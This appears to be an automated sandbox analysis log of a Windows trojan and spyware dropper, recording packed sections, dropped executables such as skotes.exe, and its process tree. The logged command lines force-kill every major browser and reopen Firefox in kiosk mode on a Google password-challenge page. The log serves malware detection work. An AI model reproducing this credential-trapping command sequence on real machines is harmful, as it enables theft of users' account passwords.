Source: file.exe, 00000001.00000003.1529725260.000000000610F000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000001.00000003.1503555015.0000000005E85000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000001.00000003.1508914523.0000000005E90000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000001.00000003.1504811868.0000000005F2F000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000001.00000003.1526323466.0000000005F9D000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000001.00000003.1506358869.0000000005FDE000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000001.00000003.1505046486.0000000005F2F000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000001.00000003.1510135461.0000000005F60000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000001.00000003.1505233541.0000000005F28000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000001.00000003.1527935034.0000000005E82000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000001.00000003.1506115191.0000000005E84000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000001.00000003.1511194813.0000000005E89000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000001.00000003.1529539616.0000000005FC8000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000001.00000003.1526457398.00000000060BB000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe

Source: file.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: file.exe	Static PE information: Section: ZLIB complexity 0.9980713655956113
Source: OQ8LP4972W0L2P9TRRG7I8.exe.1.dr	Static PE information: Section: ZLIB complexity 0.9977169192779292
Source: OQ8LP4972W0L2P9TRRG7I8.exe.1.dr	Static PE information: Section: lltvbtub ZLIB complexity 0.9944980792075414
Source: skotes.exe.5.dr	Static PE information: Section: ZLIB complexity 0.9977169192779292
Source: skotes.exe.5.dr	Static PE information: Section: lltvbtub ZLIB complexity 0.9944980792075414
Source: random[1].exe.9.dr	Static PE information: Section: ZLIB complexity 0.9980713655956113
Source: 3cbc500e8f.exe.9.dr	Static PE information: Section: ZLIB complexity 0.9980713655956113
Source: random[1].exe0.9.dr	Static PE information: Section: qjfwfzym ZLIB complexity 0.9948359631453297
Source: c74ef7bd5d.exe.9.dr	Static PE information: Section: qjfwfzym ZLIB complexity 0.9948359631453297
Source: 529CUIG0QU5WLQ1L1F8J4L.exe.15.dr	Static PE information: Section: ZLIB complexity 0.9977169192779292
Source: 529CUIG0QU5WLQ1L1F8J4L.exe.15.dr	Static PE information: Section: lltvbtub ZLIB complexity 0.9944980792075414

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@67/26@70/11

Source: C:\Users\user\AppData\Local\Temp\APJ029ETDT1OYOUOA0UAFS0WCJF1BV5.exe

Code function: 4_2_048B15D0 ChangeServiceConfigA,

4_2_048B15D0

Source: C:\Users\user\AppData\Local\Temp\APJ029ETDT1OYOUOA0UAFS0WCJF1BV5.exe

File created: C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\APJ029ETDT1OYOUOA0UAFS0WCJF1BV5.exe.log

Jump to behavior

Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:8176:120:WilError_03
Source: C:\Users\user\AppData\Local\Temp\DXA4CU5W4O4UU0FOG0K6C7EYJEL0.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7608:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6124:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:8144:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:2496:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:4476:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:2564:120:WilError_03
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Mutant created: \Sessions\1\BaseNamedObjects\006700e5a2ab05704bbb0c589b88924d
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6244:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:8080:120:WilError_03

Source: C:\Users\user\Desktop\file.exe

File created: C:\Users\user~1\AppData\Local\Temp\APJ029ETDT1OYOUOA0UAFS0WCJF1BV5.exe

Jump to behavior

Source: C:\Windows\SysWOW64\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process
Source: C:\Windows\SysWOW64\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process
Source: C:\Windows\SysWOW64\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process
Source: C:\Windows\SysWOW64\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process
Source: C:\Windows\SysWOW64\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process
Source: C:\Windows\SysWOW64\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process
Source: C:\Windows\SysWOW64\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process
Source: C:\Windows\SysWOW64\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process
Source: C:\Windows\SysWOW64\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process

Source: C:\Users\user\AppData\Local\Temp\OQ8LP4972W0L2P9TRRG7I8.exe

File read: C:\Users\desktop.ini

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: file.exe, 00000001.00000003.1381035769.0000000005A1F000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000001.00000003.1360834110.00000000059E5000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000001.00000003.1360538218.0000000005A14000.00000004.00000800.00020000.00000000.sdmp, 3cbc500e8f.exe, 0000000D.00000003.2097884069.00000000060FB000.00000004.00000800.00020000.00000000.sdmp, 3cbc500e8f.exe, 0000000D.00000003.2098522844.00000000060DC000.00000004.00000800.00020000.00000000.sdmp, 3cbc500e8f.exe, 0000000D.00000003.2113640786.00000000060F6000.00000004.00000800.00020000.00000000.sdmp, 3cbc500e8f.exe, 0000000F.00000003.2256763990.0000000006058000.00000004.00000800.00020000.00000000.sdmp, 3cbc500e8f.exe, 0000000F.00000003.2281363815.0000000006063000.00000004.00000800.00020000.00000000.sdmp, 3cbc500e8f.exe, 0000000F.00000003.2261111224.000000000603A000.00000004.00000800.00020000.00000000.sdmp, 3cbc500e8f.exe, 0000000F.00000003.2257118067.000000000603B000.00000004.00000800.00020000.00000000.sdmp

Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));

Source: file.exe	Virustotal: Detection: 54%
Source: file.exe	ReversingLabs: Detection: 44%

Source: APJ029ETDT1OYOUOA0UAFS0WCJF1BV5.exe	String found in binary or memory: 3The file %s is missing. Please, re-install this application
Source: OQ8LP4972W0L2P9TRRG7I8.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application
Source: skotes.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application
Source: skotes.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application

Source: C:\Users\user\Desktop\file.exe

File read: C:\Users\user\Desktop\file.exe

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\file.exe "C:\Users\user\Desktop\file.exe"
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Users\user\AppData\Local\Temp\APJ029ETDT1OYOUOA0UAFS0WCJF1BV5.exe "C:\Users\user~1\AppData\Local\Temp\APJ029ETDT1OYOUOA0UAFS0WCJF1BV5.exe"
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Users\user\AppData\Local\Temp\OQ8LP4972W0L2P9TRRG7I8.exe "C:\Users\user~1\AppData\Local\Temp\OQ8LP4972W0L2P9TRRG7I8.exe"
Source: C:\Users\user\AppData\Local\Temp\OQ8LP4972W0L2P9TRRG7I8.exe	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe "C:\Users\user~1\AppData\Local\Temp\abc3bc1985\skotes.exe"
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe C:\Users\user~1\AppData\Local\Temp\abc3bc1985\skotes.exe
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe C:\Users\user~1\AppData\Local\Temp\abc3bc1985\skotes.exe
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1002527001\3cbc500e8f.exe "C:\Users\user~1\AppData\Local\Temp\1002527001\3cbc500e8f.exe"
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1002528001\c74ef7bd5d.exe "C:\Users\user~1\AppData\Local\Temp\1002528001\c74ef7bd5d.exe"
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\1002527001\3cbc500e8f.exe "C:\Users\user~1\AppData\Local\Temp\1002527001\3cbc500e8f.exe"
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1002529001\9c8810ba8c.exe "C:\Users\user~1\AppData\Local\Temp\1002529001\9c8810ba8c.exe"
Source: C:\Users\user\AppData\Local\Temp\1002529001\9c8810ba8c.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM firefox.exe /T
Source: C:\Windows\SysWOW64\taskkill.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\1002529001\9c8810ba8c.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM chrome.exe /T
Source: C:\Windows\SysWOW64\taskkill.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\1002529001\9c8810ba8c.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM msedge.exe /T
Source: C:\Windows\SysWOW64\taskkill.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\1002529001\9c8810ba8c.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM opera.exe /T
Source: C:\Windows\SysWOW64\taskkill.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\1002529001\9c8810ba8c.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM brave.exe /T
Source: C:\Windows\SysWOW64\taskkill.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\1002529001\9c8810ba8c.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk "https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd" --no-default-browser-check --disable-popup-blocking
Source: unknown	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd --no-default-browser-check --disable-popup-blocking --attempting-deelevation
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd --no-default-browser-check --disable-popup-blocking
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1002530001\num.exe "C:\Users\user~1\AppData\Local\Temp\1002530001\num.exe"
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=2320 -parentBuildID 20230927232528 -prefsHandle 2256 -prefMapHandle 2236 -prefsLen 25302 -prefMapSize 237879 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {1e2d7a68-ce09-45bb-9226-d5bad111f1ce} 3452 "\\.\pipe\gecko-crash-server-pipe.3452" 18faf96f710 socket
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\1002528001\c74ef7bd5d.exe "C:\Users\user~1\AppData\Local\Temp\1002528001\c74ef7bd5d.exe"
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=4120 -parentBuildID 20230927232528 -prefsHandle 4460 -prefMapHandle 4456 -prefsLen 26317 -prefMapSize 237879 -appDir "C:\Program Files\Mozilla Firefox\browser" - {3a4ae015-968d-4b26-bc7a-e9bd99779ca8} 3452 "\\.\pipe\gecko-crash-server-pipe.3452" 18fc1c44d10 rdd
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\1002529001\9c8810ba8c.exe "C:\Users\user~1\AppData\Local\Temp\1002529001\9c8810ba8c.exe"
Source: C:\Users\user\AppData\Local\Temp\1002529001\9c8810ba8c.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM firefox.exe /T
Source: C:\Windows\SysWOW64\taskkill.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\1002530001\num.exe "C:\Users\user~1\AppData\Local\Temp\1002530001\num.exe"
Source: C:\Users\user\AppData\Local\Temp\1002527001\3cbc500e8f.exe	Process created: C:\Users\user\AppData\Local\Temp\DXA4CU5W4O4UU0FOG0K6C7EYJEL0.exe "C:\Users\user~1\AppData\Local\Temp\DXA4CU5W4O4UU0FOG0K6C7EYJEL0.exe"
Source: C:\Users\user\AppData\Local\Temp\1002527001\3cbc500e8f.exe	Process created: C:\Users\user\AppData\Local\Temp\529CUIG0QU5WLQ1L1F8J4L.exe "C:\Users\user~1\AppData\Local\Temp\529CUIG0QU5WLQ1L1F8J4L.exe"
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\1002527001\3cbc500e8f.exe "C:\Users\user~1\AppData\Local\Temp\1002527001\3cbc500e8f.exe"
Source: C:\Users\user\AppData\Local\Temp\1002529001\9c8810ba8c.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM chrome.exe /T
Source: C:\Windows\SysWOW64\taskkill.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\1002529001\9c8810ba8c.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM msedge.exe /T
Source: C:\Windows\SysWOW64\taskkill.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\1002529001\9c8810ba8c.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM opera.exe /T
Source: C:\Windows\SysWOW64\taskkill.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Users\user\AppData\Local\Temp\APJ029ETDT1OYOUOA0UAFS0WCJF1BV5.exe "C:\Users\user~1\AppData\Local\Temp\APJ029ETDT1OYOUOA0UAFS0WCJF1BV5.exe"	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Users\user\AppData\Local\Temp\OQ8LP4972W0L2P9TRRG7I8.exe "C:\Users\user~1\AppData\Local\Temp\OQ8LP4972W0L2P9TRRG7I8.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\OQ8LP4972W0L2P9TRRG7I8.exe	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe "C:\Users\user~1\AppData\Local\Temp\abc3bc1985\skotes.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1002527001\3cbc500e8f.exe "C:\Users\user~1\AppData\Local\Temp\1002527001\3cbc500e8f.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1002528001\c74ef7bd5d.exe "C:\Users\user~1\AppData\Local\Temp\1002528001\c74ef7bd5d.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1002529001\9c8810ba8c.exe "C:\Users\user~1\AppData\Local\Temp\1002529001\9c8810ba8c.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1002530001\num.exe "C:\Users\user~1\AppData\Local\Temp\1002530001\num.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002527001\3cbc500e8f.exe	Process created: C:\Users\user\AppData\Local\Temp\DXA4CU5W4O4UU0FOG0K6C7EYJEL0.exe "C:\Users\user~1\AppData\Local\Temp\DXA4CU5W4O4UU0FOG0K6C7EYJEL0.exe"
Source: C:\Users\user\AppData\Local\Temp\1002527001\3cbc500e8f.exe	Process created: C:\Users\user\AppData\Local\Temp\529CUIG0QU5WLQ1L1F8J4L.exe "C:\Users\user~1\AppData\Local\Temp\529CUIG0QU5WLQ1L1F8J4L.exe"
Source: C:\Users\user\AppData\Local\Temp\1002529001\9c8810ba8c.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM firefox.exe /T
Source: C:\Users\user\AppData\Local\Temp\1002529001\9c8810ba8c.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM chrome.exe /T
Source: C:\Users\user\AppData\Local\Temp\1002529001\9c8810ba8c.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM msedge.exe /T
Source: C:\Users\user\AppData\Local\Temp\1002529001\9c8810ba8c.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM opera.exe /T
Source: C:\Users\user\AppData\Local\Temp\1002529001\9c8810ba8c.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM brave.exe /T
Source: C:\Users\user\AppData\Local\Temp\1002529001\9c8810ba8c.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk "https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd" --no-default-browser-check --disable-popup-blocking
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd --no-default-browser-check --disable-popup-blocking
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=2320 -parentBuildID 20230927232528 -prefsHandle 2256 -prefMapHandle 2236 -prefsLen 25302 -prefMapSize 237879 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {1e2d7a68-ce09-45bb-9226-d5bad111f1ce} 3452 "\\.\pipe\gecko-crash-server-pipe.3452" 18faf96f710 socket
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: unknown unknown
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: unknown unknown
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=4120 -parentBuildID 20230927232528 -prefsHandle 4460 -prefMapHandle 4456 -prefsLen 26317 -prefMapSize 237879 -appDir "C:\Program Files\Mozilla Firefox\browser" - {3a4ae015-968d-4b26-bc7a-e9bd99779ca8} 3452 "\\.\pipe\gecko-crash-server-pipe.3452" 18fc1c44d10 rdd
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1002529001\9c8810ba8c.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM firefox.exe /T
Source: C:\Users\user\AppData\Local\Temp\1002529001\9c8810ba8c.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM chrome.exe /T
Source: C:\Users\user\AppData\Local\Temp\1002529001\9c8810ba8c.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM msedge.exe /T
Source: C:\Users\user\AppData\Local\Temp\1002529001\9c8810ba8c.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM opera.exe /T
Source: C:\Users\user\AppData\Local\Temp\1002529001\9c8810ba8c.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1002529001\9c8810ba8c.exe	Process created: unknown unknown

Source: C:\Users\user\Desktop\file.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\APJ029ETDT1OYOUOA0UAFS0WCJF1BV5.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\APJ029ETDT1OYOUOA0UAFS0WCJF1BV5.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\APJ029ETDT1OYOUOA0UAFS0WCJF1BV5.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\APJ029ETDT1OYOUOA0UAFS0WCJF1BV5.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\APJ029ETDT1OYOUOA0UAFS0WCJF1BV5.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\APJ029ETDT1OYOUOA0UAFS0WCJF1BV5.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\APJ029ETDT1OYOUOA0UAFS0WCJF1BV5.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\APJ029ETDT1OYOUOA0UAFS0WCJF1BV5.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\APJ029ETDT1OYOUOA0UAFS0WCJF1BV5.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\APJ029ETDT1OYOUOA0UAFS0WCJF1BV5.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\OQ8LP4972W0L2P9TRRG7I8.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\OQ8LP4972W0L2P9TRRG7I8.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\OQ8LP4972W0L2P9TRRG7I8.exe	Section loaded: wininet.dll	Jump to behavior
